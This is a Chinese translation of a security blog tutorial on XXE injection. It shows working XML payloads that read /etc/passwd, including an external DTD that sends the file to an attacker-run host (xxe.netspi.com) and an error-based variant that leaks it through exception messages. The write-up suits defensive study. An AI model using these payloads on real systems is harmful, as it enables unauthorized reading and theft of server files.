继续上篇博文《玩转JSON节点的Content-Type XXE攻击》,文中方法安全脉搏《未知攻焉知防——XXE漏洞攻防》也有详解。

XML外部实体注入攻击(XXE)可以很简单的通过web请求,从远程服务器上提取文件。为了更简单的利用XXE,服务器的响应里面必须包含一个反射点,用以显示出注入实体远程文件返回给客户端。

xxe

下面是个常见的XXE注入攻击的请求和响应(注入部分用红色字体显示了)

           HTTP Request:

 

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

 

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&netspi;</value>
</root>

 

HTTP Response:

 

HTTP/1.1 200 OK
Content-Type: application/xml
Content-Length: 2467

 

<?xml version="1.0" encoding="UTF-8"?>
<errors>
<error>no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
</error>
</errors>

 

然而,很多时候应用程序并不会反射用户输入到客户端,以至于error response响应里面常常没有回显。这使得XXE攻击有点难度。

如果漏洞服务器能够远程访问,那么可以使用外部的DTD来通过web请求提取本地文件。这个技巧详情参见这篇白皮书:whitepaper;下面是改进的XXE注入技巧是如何生效执行的。

  1. 搭建一个web服务器(漏洞系统能够访问),放置 .dtd文件。在我的本例中:“netspi.dtd"文件放置在xxe.netspi.com主机上。这个包含XXE注入攻击的DTD文件将把漏洞服务器上的/etc/password发送到我们的xxe.netspi.com主机上。

              <!ENTITY % payload SYSTEM "file:///etc/passwd">

<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://xxe.netspi.com/x=%payload;">'> %param1; %external;

  1. 接下来,通过如下引用我们的DTD文件。这个请求甚至看不到任何XML部分,只要服务器支持XML请求。

           HTTP Request:

 

POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 139

 

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo SYSTEM "http://xxe.netspi.com/netspi.dtd">
<root>
<search>name</search>
</root>

  1. 在这一步,XXE攻击加载了我们的xxe.netspi.com主机上的dtd文件。我们的DTD文件使用参数实体包裹了 /etc/passwd文件进入另外一个请求。
  2. 现在有机会无需反射回显点即可获取漏洞服务器上的/etc/passwd文件了,只要查看我们自己的 xxe.netspi.com主机上的传入的流量即可。可以通过我们的web服务器日志或者特定的页面来查看内容。

 

我应该注意到这种姿势读取 只能读取到/etc/passwd文件的一行,因为目标文件就有换行。当然有另一种姿势。

在一些测试案例中,为了使得数据获取更容易,可以简单的通过加入非法URI到请求上面强制服务器产生错误。下面是改进的DTD案例:

           <!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY % external SYSTEM "file:///nothere/%payload;">'> %param1; %external;

 

如果服务器能够回显够长的错误到客户端,那么错误里面就可能包含你想要读取的文件。如下示例:

           HTTP Response:

 

HTTP/1.1 500 Internal Server Error
Content-Type: application/xml
Content-Length: 2467

 

<?xml version="1.0" encoding="UTF-8"?><root>
<errors>
<errorMessage>java.io.FileNotFoundException: file:///nothere/root:x:0:0:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

非法的URI路径导致了Java IO的“FileNotFoundException”异常, 而报错信息里面就包含了我们想要的/etc/passwd 文件内容。

Drupal XXE whitepaper里面也有同样的技术,但是我还是写在这篇博文里面哈哈。simple-smile

参考

【原文:Forcing XXE Reflection through Server Error Messages 翻译:安全脉搏TeacherYang  】

 

 

源链接

Hacking more

...